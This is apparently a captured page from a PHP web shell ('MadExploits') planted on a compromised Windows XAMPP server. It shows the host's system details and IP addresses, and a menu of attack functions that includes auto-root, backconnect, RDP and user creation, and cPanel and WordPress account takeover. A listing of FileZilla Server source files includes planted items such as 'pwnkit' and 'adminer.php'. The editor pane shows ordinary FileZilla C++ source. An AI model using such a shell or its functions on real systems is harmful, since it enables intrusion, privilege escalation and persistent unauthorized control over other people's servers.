Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.30
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
FileZillaFTP /
source /
[ HOME SHELL ]
Name
Size
Permission
Action
hash_algorithms
[ DIR ]
drwxrwxrwx
includes
[ DIR ]
drwxrwxrwx
install
[ DIR ]
drwxrwxrwx
interface
[ DIR ]
drwxrwxrwx
misc
[ DIR ]
drwxrwxrwx
res
[ DIR ]
drwxrwxrwx
tinyxml
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
Accounts.cpp
12.2
KB
-rw-rw-rw-
Accounts.h
2.12
KB
-rw-rw-rw-
AdminInterface.cpp
3.1
KB
-rw-rw-rw-
AdminInterface.h
1.77
KB
-rw-rw-rw-
AdminListenSocket.cpp
1.64
KB
-rw-rw-rw-
AdminListenSocket.h
1.58
KB
-rw-rw-rw-
AdminSocket.cpp
9.85
KB
-rw-rw-rw-
AdminSocket.h
2.1
KB
-rw-rw-rw-
AsyncGssSocketLayer.cpp
30.35
KB
-rw-rw-rw-
AsyncGssSocketLayer.h
4.76
KB
-rw-rw-rw-
AsyncSocketEx.cpp
51.94
KB
-rw-rw-rw-
AsyncSocketEx.h
11.75
KB
-rw-rw-rw-
AsyncSocketExLayer.cpp
26.22
KB
-rw-rw-rw-
AsyncSocketExLayer.h
7
KB
-rw-rw-rw-
AsyncSslSocketLayer.cpp
60.12
KB
-rw-rw-rw-
AsyncSslSocketLayer.h
8.94
KB
-rw-rw-rw-
ControlSocket.cpp
96.33
KB
-rw-rw-rw-
ControlSocket.h
4.74
KB
-rw-rw-rw-
ExternalIpCheck.cpp
7.82
KB
-rw-rw-rw-
ExternalIpCheck.h
1.85
KB
-rw-rw-rw-
FileLogger.cpp
6.68
KB
-rw-rw-rw-
FileLogger.h
1.35
KB
-rw-rw-rw-
FileZilla server.rc
2.65
KB
-rw-rw-rw-
FileZilla server.sln
2.75
KB
-rw-rw-rw-
FileZilla server.vcproj
39.95
KB
-rw-rw-rw-
ListenSocket.cpp
4.23
KB
-rw-rw-rw-
ListenSocket.h
2.29
KB
-rw-rw-rw-
MFC64bitFix.cpp
2.56
KB
-rw-rw-rw-
MFC64bitFix.h
1.45
KB
-rw-rw-rw-
OptionLimits.h
1022
B
-rw-rw-rw-
OptionTypes.h
6.46
KB
-rw-rw-rw-
Options.cpp
31.81
KB
-rw-rw-rw-
Options.h
2.59
KB
-rw-rw-rw-
Permissions.cpp
61.53
KB
-rw-rw-rw-
Permissions.h
6.82
KB
-rw-rw-rw-
Server.cpp
42.34
KB
-rw-rw-rw-
Server.h
2.05
KB
-rw-rw-rw-
ServerThread.cpp
26.13
KB
-rw-rw-rw-
ServerThread.h
4.21
KB
-rw-rw-rw-
Service.cpp
15.23
KB
-rw-rw-rw-
SpeedLimit.cpp
6.87
KB
-rw-rw-rw-
SpeedLimit.h
1.96
KB
-rw-rw-rw-
StdAfx.cpp
4.41
KB
-rw-rw-rw-
StdAfx.h
4.93
KB
-rw-rw-rw-
Thread.cpp
2.85
KB
-rw-rw-rw-
Thread.h
1.87
KB
-rw-rw-rw-
TransferSocket.cpp
28.72
KB
-rw-rw-rw-
TransferSocket.h
3.62
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
autobanmanager.cpp
3.44
KB
-rw-rw-rw-
autobanmanager.h
1.46
KB
-rw-rw-rw-
config.h
1.52
KB
-rw-rw-rw-
conversion.cpp
1.95
KB
-rw-rw-rw-
conversion.h
435
B
-rw-rw-rw-
defs.h
1.03
KB
-rw-rw-rw-
hash_thread.cpp
4.79
KB
-rw-rw-rw-
hash_thread.h
930
B
-rw-rw-rw-
iputils.cpp
10.87
KB
-rw-rw-rw-
iputils.h
1.32
KB
-rw-rw-rw-
platform.h
1.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
resource.h
515
B
-rw-rw-rw-
version.cpp
4.32
KB
-rw-rw-rw-
version.h
881
B
-rw-rw-rw-
xml_utils.cpp
487
B
-rw-rw-rw-
xml_utils.h
236
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StdAfx.cpp
// FileZilla Server - a Windows ftp server // Copyright (C) 2002-2004 - Tim Kosse <tim.kosse@gmx.de> // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. // stdafx.cpp : Quelltextdatei, die nur die Standard-Includes einbindet // FileZilla server.pch ist die vorcompilierte Header-Datei // stdafx.obj enth�lt die vorcompilierte Typinformation #include "stdafx.h" HWND hMainWnd = NULL; CCriticalSectionWrapper::CCriticalSectionWrapper() { m_bInitialized = TRUE; InitializeCriticalSection(&m_criticalSection); #ifdef DEBUG m_lockCount = 0; #endif } CCriticalSectionWrapper::~CCriticalSectionWrapper() { if (m_bInitialized) DeleteCriticalSection(&m_criticalSection); m_bInitialized = FALSE; } void CCriticalSectionWrapper::Lock() { if (!m_bInitialized) return; EnterCriticalSection(&m_criticalSection); #ifdef DEBUG m_lockCount++; #endif } void CCriticalSectionWrapper::Unlock() { if (!m_bInitialized) return; #ifdef DEBUG if (m_criticalSection.OwningThread != (HANDLE)GetCurrentThreadId()) { // Suspend thread to avoid further damage SuspendThread(GetCurrentThread()); } if (m_lockCount < 1) { // Suspend thread to avoid further damage SuspendThread(GetCurrentThread()); } m_lockCount--; #endif LeaveCriticalSection(&m_criticalSection); } #ifdef DEADLOCKDEBUG CCriticalSectionWrapper deadlocklock; //pun intended void EnterCritSectionDebug(CCriticalSectionWrapper §ion, const char *pFile, int line) { CStdString fn; fn.Format("c:\\fz%u.txt", (unsigned int)§ion.m_criticalSection); deadlocklock.Lock(); HANDLE hFile = CreateFile(fn, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_ALWAYS, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { // Avoid overflow, halt server int len = GetFileSize(hFile, 0); if ((len / 100) > ((len % 100) * 3) + 95) { SuspendThread(GetCurrentThread()); while (true) Sleep(1000); } SetFilePointer(hFile, 0, 0, FILE_END); CStdString fn2 = pFile; int pos = fn2.ReverseFind('\\'); if (pos != -1) fn2 = fn2.Mid(pos + 1); CStdString str; str.Format("locking in %s:%d", fn2.c_str(), line); while (str.GetLength() < 98) str += " "; str += "\r\n"; DWORD numwritten = 0; WriteFile(hFile, str, 100, &numwritten, 0); CloseHandle(hFile); } deadlocklock.Unlock(); section.Lock(); deadlocklock.Lock(); hFile = CreateFile(fn, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_ALWAYS, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { SetFilePointer(hFile, 0, 0, FILE_END); CStdString fn2 = pFile; int pos = fn2.ReverseFind('\\'); if (pos != -1) fn2 = fn2.Mid(pos + 1); CStdString str; str.Format("lock obtained in %s:%d", fn2.c_str(), line); while (str.GetLength() < 98) str += " "; str += "\r\n"; DWORD numwritten = 0; WriteFile(hFile, str, 100, &numwritten, 0); CloseHandle(hFile); } deadlocklock.Unlock(); } void LeaveCritSectionDebug(CCriticalSectionWrapper §ion, const char *pFile, int line) { section.Unlock(); deadlocklock.Lock(); CStdString fn; fn.Format("c:\\fz%u.txt", (unsigned int)§ion.m_criticalSection); HANDLE hFile = CreateFile(fn, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_ALWAYS, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { SetFilePointer(hFile, 0, 0, FILE_END); CStdString fn2 = pFile; int pos = fn2.ReverseFind('\\'); if (pos != -1) fn2 = fn2.Mid(pos + 1); CStdString str; str.Format("unlocked in %s:%d", fn2.c_str(), line); while (str.GetLength() < 99) str += " "; str += "\r\n"; DWORD numwritten = 0; WriteFile(hFile, str, 101, &numwritten, 0); int len = GetFileSize(hFile, 0); CloseHandle(hFile); if ((len / 100) == (len % 100) * 3) DeleteFile(fn); } deadlocklock.Unlock(); } #endif
Close